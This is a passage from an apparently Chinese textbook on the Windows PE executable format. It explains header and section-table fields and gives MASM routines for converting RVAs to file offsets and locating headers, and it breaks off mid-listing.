MZ头的大小是64个字节，PE头的大小是456个字节（由于数据目录表项不一定是16个，所以准确地说，PE头也是一个不能确定大小的结构，该结构的实际大小由字段IMAGE_FILE_HEADER.SizeOfOptionalHeader来确定）。节表的大小之所以不固定，是因为每个PE中节的数量是不固定的。每个节的描述信息则是个固定值，共40个字节，节表是由不确定数量的节描述信息组成的，其大小等于节的数量×40，节的数量由字段IMAGE_FILE_HEADER.NumberOfSections来定义。DOS Stub和节内容都是大小不确定的。 节表是PE中所有节的目录，每个目录都是一个\"BookStore\"，其字节码就是节内容。它按照目录里的指针指向的地址，分别将节的字节码在文件空间中排列起来，从而组成了一个完整的PE文件。PE文件头部等于DOS头+PE头。 3.3.3 程序员眼中的PE结构 3.3.3 程序员眼中的PE结构 在程序员眼中，PE文件格式是由许多数据结构组成的，数据结构是一系列有组织的数据的集合，如图3-9所示。 图 3-9 程序员眼中的PE结构 如图所示，一个标准的PE文件一般由四大部分组成： DOS头 PE头（IMAGE_NT_HEADERS） 节表（多个IMAGE_SECTION_HEADER结构） 节内容 其中，PE头的数据结构最为复杂。简单来说，PE头包含： 4个字节的标识符号（Signature） 20个字节的基本头信息（IMAGE_FILE_HEADER） 216个字节的扩展头信息（IMAGE_OPTIONAL_HEADER32） 说明 如果按照“头部+身体”的信息组织方式来看： PE文件头部=DOS头+PE头+节表 PE文件身体=节内容 节内容中会出现各种不同的数据结构，如导入表、导出表、资源表、重定位表等，关于这些数据的组织方式会在后面的章节中陆续接触到。 3.4 PE文件头部解析 3.4 PE文件头部解析 本节将按照图3-9所示的PE结构，对PE文件头部的各部分数据结构进行声明。这些数据结构将是大家以后学习Windows PE知识需要经常参考和使用的。 3.4.1 DOS MZ头IMAGE_DOS_HEADER 该数据结构在3.3.1节已有描述，为了保持完整性，这里再重复一次。IMAGE_DOS_HEADER的具体定义如下： 注意 注释后的偏移是基于IMAGE_DOS_HEADER头的。 DOS MZ头的下面是DOS Stub。整个DOS Stub是一个字节块，其内容随着链接时使用的链接器不同而不同，PE中并没有与之对应的相关结构。 3.4.2 PE头标识Signature 3.4.2 PE头标识Signature 紧跟在DOS Stub后面的是PE头标识Signature。与大部分文件格式的头部结构一样，PE头部信息中有一个四字节的标识，该标识位于指针IMAGE_DOS_HEADER.e_lfanew指向的位置。其内容固定，对应于ASCⅡ码的字符串\"PE\\0\\0\"。 3.4.3 标准PE头IMAGE_FILE_HEADER 3.4.3 标准PE头IMAGE_FILE_HEADER 标准PE头IMAGE_FILE_HEADER紧跟在PE头标识后，即位于IMAGE_DOS_HEADER的e_lfanew值+4的位置。由此位置开始的20个字节为数据结构标准PE头IMAGE_FILE_HEADER的内容。该结构在微软的官方文档中被称为标准通用对象文件格式（Common Object File Format，COFF）头。它记录了PE文件的全局属性，如该PE文件运行的平台、PE文件类型（是EXE文件还是DLL文件）、文件中存在的节的总数等，其详细定义如下： 该结构常用于判断PE文件是EXE类型还是DLL类型，不但可以通过该结构得到PE文件中节的总量，还可以当成对节区信息进行遍历操作时的循环次数。 注意 注释后的偏移是基于IMAGE_NT_HEADERS头的。 提示 为了不分散大家的注意力，这里只讲一些主要的知识点，而把各字段的详细解释放到本章的第3.5节，便于大家先从整体上把握PE文件结构。"},
    {"text": "3.4.4 扩展PE头IMAGE_OPTIONAL_HEADER32 3.4.4 扩展PE头IMAGE_OPTIONAL_HEADER32 尽管从名字上看好像该部分数据是可选（optional）的，但在PE文件结构中，它却有着比标准PE头更多的内容，让人感觉似乎它才是真正的PE头。其详细定义如下： 注意 注释后的偏移是基于IMAGE_NT_HEADERS头的。 文件执行时的入口地址、文件被操作系统装入内存后的默认基地址，以及节在磁盘和内存中的对齐单位等信息均可以在此结构中找到。对该结构中的某些数值的随意改动可能会造成PE文件的加载或运行失败。 3.4.5 PE头IMAGE_NT_HEADERS 3.4.5 PE头IMAGE_NT_HEADERS 这个结构是广义上的PE头，在标准的PE文件中其大小为456个字节。它是3.4.2节、3.4.3节和3.4.4节中提到的三个数据结构的组合，即IMAGE_NT_HEADERS=4个字节的PE标识+IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32，如图3-10所示。 图 3-10 PE头结构 该结构的详细定义如下： 与DOS头一样，PE头开始也是一个标志，用一个双字的\"PE\\0\\0\"来命名，这也是PE头的由来。 3.4.6 数据目录项IMAGE_DATA_DIRECTORY 3.4.6 数据目录项IMAGE_DATA_DIRECTORY IMAGE_OPTIONAL_HEADER32（扩展PE头）结构的最后一个字段为DataDirectory。该字段定义了PE文件中出现的所有不同类型的数据的目录信息。如前所述，应用程序中的数据被按照用途分成很多种类，如导出表、导入表、资源、重定位表等。在内存中，这些数据被操作系统以页为单位组织起来，并赋以不同的访问属性；在文件中，这些数据也同样被组织起来，按照不同类别分别存放在文件的指定位置。该结构就是用来描述这些不同类别的数据在文件（和内存）中的位置及大小的，因为这个字段比较重要，尽管它与本章其他小节列出的数据结构不在一个层次上，但此处也作为单独的一节来讲。 从Windows NT 3.1操作系统开始到现在，该数据目录中定义的数据类型一直是16种。PE中使用了一种称作“数据目录项IMAGE_DATA_DIRECTORY”的数据结构来定义每种数据。该结构只有两个字段，结构具体定义如下： IMAGE_DATA_DIRECTORY STRUCT VirtualAddress DWORD ? ;0000h-数据的起始RVA isize DWORD ? ;0004h-数据块的长度 IMAGE_DATA_DIRECTORY ENDS 两个字段依次为VirtualAddress和isize。如图3-11所示，总的数据目录一共由16个相同的IMAGE_DATA_DIRECTORY结构连续排列在一起组成。 图 3-11 数据目录结构示意图 这16个元组的数组每一项均代表PE中的某一个类型的数据，各数据类型详见表3-1。 如图3-11所示，如果想在PE文件中寻找特定类型的数据，就需要从该结构开始。比如，要想查看PE中都调用了哪些动态链接库的函数，则需要从数据目录表的第2个元素（数组编号为1）的IMAGE_DATA_DIRECTORY结构获取导入表在文件中的起始位置和大小，然后再根据VirtualAddress_1地址指向的位置找到导入表相关的字节码。这种信息组织方式正是本章最开始介绍的“头部+身体”的数据组织方式。 下面是将这16个数据目录项依次展开后的新结构： 注意 以上结构在PE中并不存在，这里介绍主要是为了以后编程时可作为参考，当然，你也可以使用该结构覆盖字段IMAGE_OPTIONAL_HEADER32.DataDirectory。另外要注意的是，该虚拟结构每个字段后的偏移是基于IMAGE_NT_HEADERS头的。 3.4.7 节表项IMAGE_SECTION_HEADER 3.4.7 节表项IMAGE_SECTION_HEADER PE头IMAGE_NT_HEADERS后紧跟着节表。它由许多个节表项（IMAGE_SECTION_HEADER）组成，每个节表项记录了PE中与某个特定的节有关的信息，如节的属性、节的大小、在文件和内存中的起始位置等。节表中节的数量由字段IMAGE_FILE_HEADER.NumberOfSections来定义。节表项的数据结构详细定义如下： 注意 注释后的偏移是基于IMAGE_SECTION_HEADER头的。 节表后面就是节的内容。截至节表，PE文件头部涉及的所有数据结构已经全部介绍完毕。接下来，我们将集中对以上所列数据结构中的每个字段进行详细介绍。"},
    {"text": "3.5 数据结构字段详解 3.5 数据结构字段详解 本节将对数据结构中的每一个字段 [1] 进行注解。需要说明的是，由于Windows操作系统并不开源，所以有些字段即使从官方资料中也无从查找，所以这些字段会被略过；另外，Windows操作系统是一个随时在变化的系统，有些字段会因为系统添加的新特性而发生含义上的改变。这里对所有的字段的解释均参照微软官方网站于2010年9月21日发布的Microsoft Portable Executable and Common Object File Format Specifcation（Revision v8.2）文档。 3.5.1 PE头IMAGE_NT_HEADER的字段 1.IMAGE_NT_HEADER.Signature +0000h，双字。PE文件标识，被定义为00004550h。也就是\"P\"，\"E\"加上两个0，这也是PE这个称呼的由来。如果更改其中的任何一个字节，操作系统就无法把该文件识别为正确的PE文件。通过修改这个字段，会导致PE文件在32位系统中加载失败，但由于文件的其他部分（特别是DOS头）并没有被破坏，系统还是可以识别出其为DOS系统下的可执行程序，并通过调用纯DOS环境来运行DOS Stub中的程序代码。 如果你确认操作系统中的某个PE文件携带病毒，并且开机后会被加载进内存运行，最简单的处理办法是通过Windows PE盘启动系统。在系统中找到病毒文件，使用记事本简单地修改其中任何一个字符，保存文件，重新开机启动后即可防止病毒文件被加载。 注意 此PE非彼PE，Windows PE是一个操作系统，其全称为：Windows PreInstallation Environment，即Windows的预安装环境。该操作系统区别于Windows XP/2000/Vista等，可以从光盘引导。 2.IMAGE_NT_HEADER.FileHeader +0004h，结构。该结构指向IMAGE_FILE_HEADER，由于PE扩展自通用COFF规范，所以，该字段在官方文档中被称为标准COFF头。 3.IMAGE_NT_HEADER.OptionalHeader +0018h，结构。该结构指向IMAGE_OPTIONAL_HEADER32。Windows操作系统可执行文件的大部分特性均在这个结构里呈现。因为在符合COFF规范的\".obj\"目标文件中该部分并不存在，所以该部分被称为OptionalHeader（可选的头部信息，简称“可选头”），它是操作系统映像文件所独有的头部信息。 可选头又分为两部分，前10个字段原属于COFF，用来加载和运行一个可执行文件；后21个字段则是通过链接器追加的。它们作为PE扩展的部分，用于描述可执行文件的一些信息，供PE加载器加载使用。 [1] 这些字段将分别在不同的章节中介绍，编号是连续的1、2、3……"},
    {"text": "3.5.2 标准PE头IAMGE_FILE_HEADER的字段 3.5.2 标准PE头IAMGE_FILE_HEADER的字段 4.IMAGE_FILE_HEADER.Machine +0004h，单字。用来指定PE文件运行的平台。由于Windows最初被设计为可以运行在Intel、Sun、Dec、IBM等多种硬件平台上，或者能模拟这些平台的软件环境中，而不同的硬件平台其指令的机器码不相同，因此为不同平台编译的EXE文件是无法通用的。假设将运行在Intel 386机器上的PE文件的该字段设置为01f0h，即指定平台为IBM POWER PC（小尾方式），则系统会有如图3-12所示的提示。 图 3-12 文件运行平台指定错误后的提示 如果使用汇编语言，可以通过如下的伪指令代码对平台进行定义： .386 如上所示，表示指令要运行在Intel 386平台上。该字段预定义的值如表3-2所示。 5.IMAGE_FILE_HEADER.NumberOfSections +0006h，单字。文件中存在的节的总数。在Windows XP中，可以有0个节，但数值不能小于1（在第12章大家会接触到只有一个节的PE文件HelloWorld_7.exe和没有节的PE文件miniPE.exe），也不能超过96。如果将该值设置为0，则操作系统装载时会提示不是有效的Win32程序。如果想在PE中增加或删除节，必须变更此处的值。 另外，这个值既不能比实际内存中存在的节多，也不能比它少，否则装载时会发生错误，提示不是有效的Win32应用程序。 6.IMAGE_FILE_HEADER.TimeDateStamp +0008h，双字。编译器创建此文件时的时间戳。低32位存放的值是自1970年1月1日00:00时开始到创建时间为止的总秒数。 该数值可以随意修改而不会影响程序运行。所以，有的链接器在这里填入固定的值，有的则随意写入任何值，这对用户创建的文件并没有实际的意义。另外，这个时间值与操作系统文件属性里看到的三个时间（创建时间、修改时间、访问时间）也没有任何联系。 7.IMAGE_FILE_HEADER.PointerToSymbolTable +000Ch，双字。COFF符号表的文件偏移。如果不存在COFF符号表，此值为0。对于映像文件来说，此值为0，因为微软已经不赞成在PE中使用COFF调试信息了。 8.IMAGE_FILE_HEADER.NumberOfSymbols +0010h，双字。符号表中元素的数目。由于字符串表紧跟在符号表后，所以可以利用这个值来定位字符串表。对于映像文件来说，此值为0，主要用于调试。 9.IMAGE_FILE_HEADER.SizeOfOptionalHeader +0014h。单字。指定结构IMAGE_OPTIONAL_HEADER32的长度，默认情况下这个值等于00e0h；如果是64位PE文件，该结构的默认大小为00F0h。 用户可以自己定义这个值的大小，不过需要注意两点： 1）更改完以后，需要自行将文件中IMAGE_OPITONAL_HEADER32的大小扩充为你指定的值（一般以0补足）。 2）扩充完以后，要维持文件中的对齐特性（比如在HelloWorld.exe中，此处增加了8个字节后，一定在后面相应地删除8个字节，以保证.text节起始位置处于0400h）。 10.IMAGE_FILE_HEADER.Characteristics +0016h，单字。文件属性标志字段，它的不同数据位定义了不同的文件属性，具体内容见表3-3。这是一个很重要的字段，不同的定义将影响系统对文件的装入方式。比如，当位13为1时，表示这是一个DLL文件，那么系统将使用调用DLL入口函数的方式执行文件入口函数；当位13为0时，表示这是一个普通的可执行文件，系统直接跳到入口处执行。对于普通的可执行PE文件来说，这个字段的值一般是010fh，而对于DLL文件来说，这个字段的值一般是210eh。 如表3-3所示，当第0位为1时，表明此文件不包含基址重定位信息，因此必须将其加载到文件头中指定的基地址字段位置。如果进程空间此处的基地址被占用，加载器会报错。在程序运行前如果发现文件中存在可重定位信息，链接器会执行移除可执行文件中的重定位信息的操作。 当第1位为1时，表明此映像文件是合法的，可以运行。如果未设置此标志，表明出现了链接器错误。 当第7位为1时，表示文件为小尾方式，即内存中，最低有效位LSB位于最高有效位MSB的前面，与第15位的大尾方式（MSB在前，LSB在后）一样，都不赞成使用该标志，最好将其设置为0。 当第10位为1时，如果此映像文件在可移动存储介质上，那么加载器将完全加载它并把它复制到内存交换文件中。 当第11位为1时，如果此映像文件在网络上，那么加载器也将完全加载它并把它复制到内存交换文件中。 当第13位为1时，表明此映像文件是动态链接库（DLL）。这样的文件总被认为是可执行文件，尽管它们并不能直接运行。 可执行文件的标志位设置为010fh，即第0、1、2、3、8位分别被设置为1（如下所示），表示该文件为可执行文件，不含重定位信息，不含符号和行号信息，文件只在32位平台运行。"},
    {"text": "需要注意一点：判断某个节是否包含代码的方法不是根据节的属性中是否含有IMAGE_SCN_MEM_EXECUTE标志，而是根据节的属性中是否含有IMAGE_SCN_CNT_CODE标志。"},
    {"text": "在Windows中，可执行程序运行在虚拟地址空间中，由于4GB空间对于程序是唯一的，所以这里的虚拟空间可以简单地理解为真实的地址（我们暂且忘记物理内存地址的概念，这样就不需要理解页面调度机制了）。"},
    {"text": "因为链接器在产生可执行文件的时候，是对应这个地址来生成机器码的。 如果操作系统也是按照这个地址加载机器码到内存中，那么指令中的许多重定位信息就不需要修改了，这样运行速度就会更快一些。"},
    {"text": "前面说过，对于EXE文件来说，每个文件使用的都是独立的虚拟地址空间，所以，优先装入的地址通常不会被其他模块占据。 也就是说，EXE文件总是能按照这个地址装入，这就意味着装入后的EXE文件不需要进行重定位了，例如，在HelloWorld.exe中就看不到重定位信息。 在链接的时候，可以使用参数\"-base\"来指定优先装入的地址，如果不指定，那么链接器默认装入EXE的地址就是0x00400000。 而相对于DLL文件来说，它默认优先装入地址则是0x10000000。 如果一个进程用到了多个DLL文件，其装入地址可能会发生冲突。 PE加载器会调整其中的地址，使所有的DLL文件都能被正确装入。"},
    {"text": "不对齐的数据可以节省空间（因为对齐的数据要用0填充补齐），但没有规律，而且在运行时需要从磁盘文件调入内存分页时容易导致效率低下。"},
    {"text": "23.IMAGE_OPTIONAL_HEADER32.MajorOperatingSystemVersion 24.IMAGE_OPTIONAL_HEADER32.MinorOperatingSystemVersion＜/h5＞ +0040h，23和24标注的两个字段都为单字，共计为双字。"},
    {"text": "以加载到内存中的HelloWorld.exe为例,HelloWorld.exe中文件头占用了1000h字节，三个节各占用1000h字节，所以文件在内存中占用的空间总共大小为04000h。"},
    {"text": "校验和，在大多数的PE文件中，该值是0，但在一些内核模式的驱动程序和系统DLL中，该值则是必须存在且是正确的，比如kernel32.dll中PE的校验和是0011E97Eh。"},
    {"text": "Windows系统目录下有一个动态链接库IMAGEHLP.DLL，它是Win32中专门用来操作PE文件的函数库，这里面的函数CheckSumMappedFile就是用来计算文件头校验和的，对于整个PE文件也有一个校验和函数MapFileAndCheckSum。"},
    {"text": "这个字段决定了系统如何为程序建立初始的界面，链接时使用的参数-subsystem:xxx选项指定的就是这个字段的值，如果将子系统指定为Windows命令行用户交互模式（Command User Interface，CUI），那么系统会自动为程序建立一个控制台窗口；"},
    {"text": "该字段表示为初始线程的栈而保留的虚拟内存数量，然而并不是留出的所有虚拟内存都可以做栈（真正的栈大小由下一个字段SizeOfStackCommit决定）。 该字段的默认值为0x100000（1MB），如果调用API函数CreateThread时，把NULL当做传入的参数，那么创建出来的栈大小也会是1MB。"},
    {"text": "以下是对这16种数据的说明： [0]导出数据所在的节通常被命名为.edata，它包含一些可被其他EXE程序访问的符号的相关信息，比如导出函数和资源等。"},
    {"text": "属性证书表是由一组连续的按八进制字（从任意字节边界开始的16个连续字节）边界对齐的属性证书表项组成，每个属性证书表项指向WIN_CERTIFICATE结构。"},
    {"text": "此结构可以在WinTrust.H文件中找到，该结构的详细定义如下： 注意 该数据并不作为映像的一部分被映射到内存，因此，DataDirectory.Certificate _VirtualAddress字段是文件偏移，而不是RVA。 DataDirectory.Certificate _VirtualAddress字段给出了属性证书表中第一个属性证书表项在文件中的偏移。 对于后续的属性证书表项，可以通过将当前属性证书表项的文件偏移加上WIN_CERTIFICATE.dwLength字段的值，并将结果向上舍入为8个字节的倍数来访问。 后续的属性证书表项可以一直以这种方式访问，直到这些WIN_CERTIFICATE.dwLength字段（已经向上舍入为8字节的倍数）的和等于可选文件头中的DataDirectory.Certificate _isize的值。"},
    {"text": "[9]线程本地存储数据所处的节，通常命名为.tls。 线程本地存储（TLS）是Windows支持的一种特殊存储类别，其中的数据对象不是栈变量，而是对应于运行相应代码的单个线程。"},
    {"text": "当创建线程时，PE加载器通过将线程环境块（TEB）的地址放入FS寄存器来传递线程的TLS数组地址，距TEB开头0x2C的位置处有一个指针指向该TLS数组。"},
    {"text": "加载器还有一项比较重要的工作是根据导入信息的描述使用动态链接库里输入函数的实际地址去替换IAT表的内容，这个步骤会花去一部分时间。"},
    {"text": "[13]延迟导入数据也和动态链接库调用有关，这种数据的存在是为了给“应用程序直到首次调用某个DLL中的函数或数据时才加载这个DLL（即延迟加载）”这种行为提供一种统一的访问机制。"},
    {"text": "[14]CLR数据所处的节通常被命名为.cormeta，该信息是.NET框架的一个重要组成部分，所有基于.NET框架开发的程序，其初始化部分都是通过访问这部分定义而实现的。"},
    {"text": "3.5.4 数据目录项IMAGE_DATA_DIRECTORY的字段 3.5.4 数据目录项IMAGE_DATA_DIRECTORY的字段 42.IMAGE_DATA_DIRECTORY.VirtualAddress +0000h，双字。如上所述，这个字段记录了特定类型数据的起始RVA。当然，针对不同的数据结构，该字段包含的数据含义并不一样，有的数据甚至还不是RVA（如属性证书数据中该字段的值表示的是FOA）。 43.IMAGE_DATA_DIRECTORY.isize +0004h，双字。该字段记录了特定类型的数据块的长度。 3.5.5 节表项IMAGE_SECTION_HEADER的字段 3.5.5 节表项IMAGE_SECTION_HEADER的字段 44.IMAGE_SECTION_HEADER.Name1 +0000h，8字节。该字段一共8个字节，一般情况下是一个以“\\0”结尾的ASCⅡ码字符串来标识节的名称，内容可以自行定义。 该名称并不遵循Ansi字符串必须以“\\0”结尾的规律，如果不以“\\0”结尾，系统依然会认为它是一个字符串,但会根据8个字节的长度对其进行截断处理。 45.IMAGE_SECTION_HEADER.Misc +0008h，双字。该字段是一个union型的数据，这是节的数据在没有对齐前的真实尺寸，不过很多PE文件里该值并不准确。 46.IMAGE_SECTION_HEADER.VirtualAddress +000ch，双字。节区的RVA地址。 47.IMAGE_SECTION_HEADER.SizeOfRawData +0010h，双字。节在文件中对齐后的尺寸。在HelloWorld.exe中，数据量不大的节，其大小一般为200h。 48.IMAGE_SECTION_HEADER.PointerToRawData +0014h，双字。节区起始数据在文件中的偏移。比如我们的例子中，.text节是在偏移0x00000400处。 49.IMAGE_SECTION_HEADER.PointerToRelocations +0018h，双字。在\".obj\"文件中使用，指向重定位表的指针。 50.IMAGE_SECTION_HEADER.PointerToLinenumbers +001ch，双字。行号表的位置（供调试用）。 51.IMAGE_SECTION_HEADER.NumberOfRelocations +0020h，单字。重定位表的个数（在OBJ文件中使用）。 52.IMAGE_SECTION_HEADER.NumberOfLinenumbers＜/h5＞ +0022h，单字。行号表中行号的数量。 53.IMAGE_SECTION_HEADER.Characteristics +0024h，双字。节的属性。这个字段很重要，这是节的属性标志字段，其中不同的数据位代表了不同的属性，具体的定义如表3-7所示。这些数据位的组合描述了内存中的一个节所拥有的访问属性。 代码节的属性一般为60000020h，也就是可执行、可读和“节中包含代码”；数据节的属性一般为c0000040h，也就是可读、可写和“包含已初始化数据”；而常量节（对应源代码中的.const段）的属性为40000040h，也就是可读和“包含已初始化数据”；资源节的属性和常量节的属性一般是相同的。 当然，节属性的定义不一定必须是这些值。比如，当PE文件被压缩工具压缩以后，包含代码的节往往被同时设置成具有可执行、可读和可写属性，因为解压部分需要将解压后的代码回写到代码段中。大家可以做个实验：先往代码段中写数据，编译链接完成后执行，这时肯定会引发异常；如果用压缩软件压缩后再执行，就会发现文件可以正常执行了，这就是因为压缩软件为了解压的需要而将节的属性设置为可写了。 3.5.6 解析HelloWorld程序的字节码 3.5.6 解析HelloWorld程序的字节码 接下来，我们就来解析HelloWorld.exe的字节码，并分析每一个字段的含义。本书后面还会围绕这些字节码，通过一些实例来进一步深入讲解它们。请你经常阅读此部分字节码的内容，以加深对PE文件的印象。 需要明确一点：以上内容是文件中的实际字节码。当该文件被操作系统加载进内存以后，这些内容会或多或少地发生一些变化。要想真正理解PE文件格式，还必须明白PE文件被装载到内存后映像字节码所产生的变化。 3.6 PE内存映像 3.6 PE内存映像 运行OD软件，依次选择“文件”→“打开”选项，在弹出的对话框中选择要打开的文件（D:\\masm32\\source\\chapter3\\HelloWorld.exe）；然后选择“查看”→“内存”选项，查看其内存分配，如图3-14所示。 图 3-14 加载到内存中的HelloWorld.exe映像 从图中可以看出，文件字节码在内存中的大致分布： PE文件头+代码+输入表+数据 每个部分都按照1000h对齐，因为在Windows操作系统中，每个运行的程序都有自己独立的地址空间，所以，根据文件字节码中IMAGE_OPTIONAL_HEADER32.ImageBase的建议装入映像基地址的值，该EXE文件被装入到起始地址为0x00400000h的虚拟内存地址处。 请大家自行练习在OD中查看HelloWorld.exe的头部描述信息。要想深入了解关于Windows虚拟内存地址空间的分配，可以参照第11章的内容。图3-15说明了文件和内存中的PE字节码之间的区别。 图 3-15 PE文件映像与PE内存映像对比 如图3-15所示，从文件到内存，“头+节表”部分的数据没有做任何更改，多出的部分也只是以0补足的数据而已。对于各个节，其对齐的方式则是由数据结构中的字段IMAGE_OPTIONAL_HEADER32.FileAlignment和IMAGE_OPTIONAL_HEADER32.SectionAlignment分别定义的。"},
    {"text": "3.7 PE文件头编程 3.7 PE文件头编程 了解了PE文件的头部结构，以及PE在内存中的映像后，接下来将要学习的是用汇编语言编写的与文件头部数据结构有关的函数。这些函数并不复杂，但大部分函数在以后的编程中会被反复用到。 3.7.1 RVA与FOA的转换 RVA是相对虚拟地址，FOA是文件偏移，在一些补丁程序的编写过程中，经常会涉及两者之间的相互转换，下面将介绍通过程序实现两者之间的相互转换的方法。 PE文件头和PE内存映像的文件头大小都是一样的，它们受对齐粒度不同的影响；节的数据在内存和磁盘文件的大小是不一样的，节表项记录了内存映像中节的起始RVA，也同样记录了本节在文件中的起始偏移。节表项IMAGE_SECTION_HEADER是我们可以找到这两个字段之间存在关联的唯一地方。重新看一下IMAGE_SECTION_HEADER的定义： 由于节在内存中是线性排列的，因此如果找到下一个节的内存起始RVA就能知道上一个节的大小。所有的节组合起来就是PE中除去文件头以外的所有内容，而文件头在磁盘文件和内存中是没有变化的。 这些特点使得在文件头部数据结构中的所有RVA字段都可以通过比较方法将该RVA定位到某个具体的节。有了这个节的内存起始RVA0，就可以求出指定RVA距离节头的偏移off，而这个偏移在磁盘文件和内存中都是一样的（因为对齐时是在节的数据后面补0，而不是前面）。 当我们获取到某个RVA在某个节中距离节头的偏移off以后，就可以通过该节在文件中的偏移求出这个RVA在文件中的偏移了。大致的步骤如下： 步骤1 判断指定的RVA落在哪个节内。 步骤2 求出该节的起始RVA0=IMAGE_SECTION_HEADER.VirtualAddress。 步骤3 求出偏移量offset1=RVA0-RVA。 步骤4 求出该RVA相对于磁盘文件头的偏移 FOA=IMAGE_SECTION_HEADER.PointerToRawData+off 如图3-16所示。 图 3-16 RVA到FOA的转换 按照上面描述的步骤和图3-16可以得出结论： 步骤1 很明显，通过对比RVA20＜RVA＜RVA30，指定的RVA落在节2内。 步骤2 该节的起始为：RVA0=RVA20 步骤3 距离本节的偏移量为：off=RVA-RVA20 步骤4 该RVA相对于磁盘文件头的偏移为： FOA=IMAGE_SECTION_HEADER.PointerToRawData+off =FOA20+off =FOA20+RVA-RVA20 从内存RVA到文件偏移（距离文件头）的转换函数详见代码清单3-1。 代码清单3-1 将内存偏移RVA转换为文件偏移的函数_RVAToOffset（chapter3\\PEHeader.asm） 1 ;------------------------------------------------- 2 ;将内存偏移量RVA转换为文件偏移 3 ;lp _FileHead为文件头的起始地址 4 ;_dwRVA为给定的RVA地址 5 ;-------------------------------------------------- 6 _RVAToOffset proc _lpFileHead,_dwRVA 7 local @dwReturn 8 9 pushad 10 mov esi,_lpFileHead 11 assume esi:ptr IMAGE_DOS_HEADER 12 add esi,[esi].e_lfanew 13 assume esi:ptr IMAGE_NT_HEADERS 14 mov edi,_dwRVA 15 mov edx,esi 16 add edx,sizeof IMAGE_NT_HEADERS 17 assume edx:ptr IMAGE_SECTION_HEADER 18 movzx ecx,[esi].FileHeader.NumberOfSections 19 ;遍历节表 20 .repeat 21 mov eax,[edx].VirtualAddress 22 ;计算该节结束RVA，不用Misc的主要原因是有些段的Misc值是错误的 23 add eax,[edx].SizeOfRawData 24 .if(edi＞=[edx].VirtualAddress)＆＆(edi＜eax) 25 mov eax,[edx].VirtualAddress 26 ;计算RVA在节中的偏移 27 sub edi,eax 28 mov eax,[edx].PointerToRawData 29 ;加上节在文件中的起始位置 30 add eax,edi 31 jmp @F 32 .endif 33 add edx,sizeof IMAGE_SECTION_HEADER 34 .untilcxz 35 assume edx:nothing 36 assume esi:nothing 37 mov eax,-1 38 @@: 39 mov @dwReturn,eax 40 popad 41 mov eax,@dwReturn 42 ret 43 _RVAToOffset endp 同理，大家可以自己分析从文件偏移到RVA的转换。不过从文件偏移到RVA的转换在代码中用处不大，在使用OD进行调试的时候经常会用到。详细代码可以从chapter3\\PEInfo.asm中获得。"},
    {"text": "3.7.2 数据定位 3.7.2 数据定位 在实现PE文件头部的编码过程中，大部分都要经过3个步骤：定位、取数据和操作。 而定位包括：PE头定位、数据目录表项定位、节表项定位。 数据定位函数会在两种情况下被调用，第一种情况是针对PE映像文件的信息存取，第二种情况是针对内存映射文件的信息存取。"},
    {"text": "1.PE头定位 因为PE中任何数据的定位必须首先找到PE头部标识，所以PE头定位代码被广泛地应用于PE中其他数据的定位代码中，具体如代码清单3-2所示。"},
    {"text": "代码清单3-2 定位到PE标识的函数_rPE（chapter3\\PEHeader.asm） 1 ;------------------- 2 ;定位到PE标识 3 ;_lpHeader头部基地址 4 ;_dwFlag1 5 ;为0表示_lpHeader是PE映像头 6 ;为1表示_lpHeader是内存映射文件头 7 ;_dwFlag2 8 ;为0表示返回RVA+模块基地址 9 ;为1表示返回FOA+文件基地址 10 ;为2表示返回RVA 11 ;为3表示返回FOA 12 ;返回eax=PE标识所在地址 13 ; 14 ;注意：当_lpHeader是PE映像头时， 15 ;_dwFlag2为1是无意义的，所以返回FOA 16 ;------------------- 17 _rPE proc _lpHeader,_dwFlag1,_dwFlag2 18 local @ret 19 local @imageBase 20 21 pushad 22 mov esi,_lpHeader 23 assume esi:ptr IMAGE_DOS_HEADER 24 add esi,[esi].e_lfanew 25 mov edi,esi 26 assume edi:ptr IMAGE_NT_HEADERS 27 mov eax,[edi].OptionalHeader.ImageBase ;程序的建议装载地址 28 mov @imageBase,eax 29 30 .if _dwFlag1 == 0 ;_lpHeader是PE映像头 31 .if _dwFlag2 == 0 ;RVA+模块基地址 32 mov eax,esi 33 mov @ret,eax 34 .elseif _dwFlag2 == 1 ;无意义，只返回FOA 35 sub esi,_lpHeader 36 mov eax,esi 37 mov @ret,eax 38 .else ;当_dwFlag2=2或3时返回值相同 39 sub esi,_lpHeader 40 mov eax,esi 41 mov @ret,eax 42 .endif 43 .else ;_lpHeader是内存映射文件头 44 45 .if _dwFlag2 == 0 ;RVA+模块基地址 46 sub esi,_lpHeader 47 add esi,@imageBase 48 mov eax,esi 49 mov @ret,eax 50 .elseif _dwFlag2 == 1 ;FOA+文件基地址 51 mov eax,esi 52 mov @ret,eax 53 .else ;当_dwFlag2=2或3时返回值相同 54 sub esi,_lpHeader 55 mov eax,esi 56 mov @ret,eax 57 .endif 58 .endif 59 popad 60 mov eax,@ret 61 ret 62 _rPE endp 如上所示，函数的入口参数为0时，表示_lpHeader头部基地址是基于PE映像文件的；"},
    {"text": "函数会返回4种地址，类型用_dwFlag2来区分。 _dwFlag2的取值及含义如下： 如果为0，表示返回RVA+模块基地址。 如果为1，表示返回FOA+文件映射地址。"},
    {"text": "比如，当_dwFlag1=0、_dwFlag2=1时，返回值就没有意义，因为此时基地址是内存的PE映像，此时的文件映射地址就是一个模糊值，这种情况下程序只是简单地返回FOA地址。"},
    {"text": "2.数据目录表项定位 数据目录表项定位一般会涉及对不同数据类型的存取，具体实现如代码清单3-3所示。 代码清单3-3 定位数据目录项函数_rDDEntry（chapter3\\PEHeader.asm） 1 ;------------------- 2 ;定位到指定索引的数据目录项所在数据的起始地址 3 ;_lpHeader头部基地址 4 ;_index数据目录表索引，从0开始 5 ;_dwFlag1 6 ;为0表示_lpHeader是PE映像头 7 ;为1表示_lpHeader是内存映射文件头 8 ;_dwFlag2 9 ;为0表示返回RVA+模块基地址 10 ;为1表示返回FOA+文件基地址 11 ;为2表示返回RVA 12 ;为3表示返回FOA 13 ;返回eax=指定索引的数据目录项的数据所在地址 14 ;------------------- 15 _rDDEntry proc _lpHeader,_index,_dwFlag1,_dwFlag2 16 local @ret,@ret1,@ret2 17 local @imageBase 18 pushad 19 mov esi,_lpHeader 20 assume esi:ptr IMAGE_DOS_HEADER 21 add esi,[esi].e_lfanew ;PE标识 22 assume esi:ptr IMAGE_NT_HEADERS 23 mov eax,[esi].OptionalHeader.ImageBase ;程序的建议装载地址 24 mov @imageBase,eax 25 26 add esi,0078h ;指向DataDirectory 27 28 xor eax,eax ;索引*8 29 mov eax,_index 30 mov bx,8 31 mul bx 32 mov ebx,eax 33 